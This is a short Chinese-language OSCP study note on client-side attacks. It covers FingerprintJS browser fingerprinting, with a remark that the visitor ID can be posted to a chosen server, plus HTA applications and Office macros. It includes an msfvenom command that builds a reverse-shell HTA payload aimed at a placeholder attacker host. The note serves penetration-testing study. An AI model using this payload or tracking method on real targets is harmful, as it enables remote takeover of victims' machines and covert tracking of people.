OSCP学习笔记(6)——客户端攻击

客户端攻击即攻击客户端软件、邮件
例如:浏览器、PDF、OFFICE、邮件附件、恶意链接

Fingerprintjs

Fingerprintjs是一个浏览器指纹库,它可以查询浏览器的属性,并从中计算出一个哈希的访问者标识符。与Cookie和本地存储不同,指纹在隐私模式下和浏览器数据被清除时仍然保持不变。
Github-Fingerprintjs

<script>
  // Initialize the agent at application startup.
  const fpPromise = import('https://openfpcdn.io/fingerprintjs/v3')
    .then(FingerprintJS => FingerprintJS.load())
  // Get the visitor identifier when you need it.
  fpPromise
    .then(fp => fp.get())
    .then(result => {
      // This is the visitor identifier:
      const visitorId = result.visitorId
      console.log(visitorId)
    })
</script>

可以结合一些操作,把信息通过post等方法提交至指定服务端

HTA程序

HTA文件可以被IE作为HTML应用程序执行。兼容ActiveX,支持JavaScript、VBScript,执行任意程序
仅针对IE、Edge有效
可以如下通过msf生成该反弹shell目标载荷

msfvenom -p windows/shell_reverse_tcp LHOST=<HOST> LPORT=<PORT> -f hta-psh -o <FILENAME>.hta

Office宏/嵌入对象

文档后缀为.doc或.docm
利用宏执行VBA代码,支持ActiveX、Windows脚本主机
也可以通过嵌入批处理文件/动态数据交换等功能启动任意程序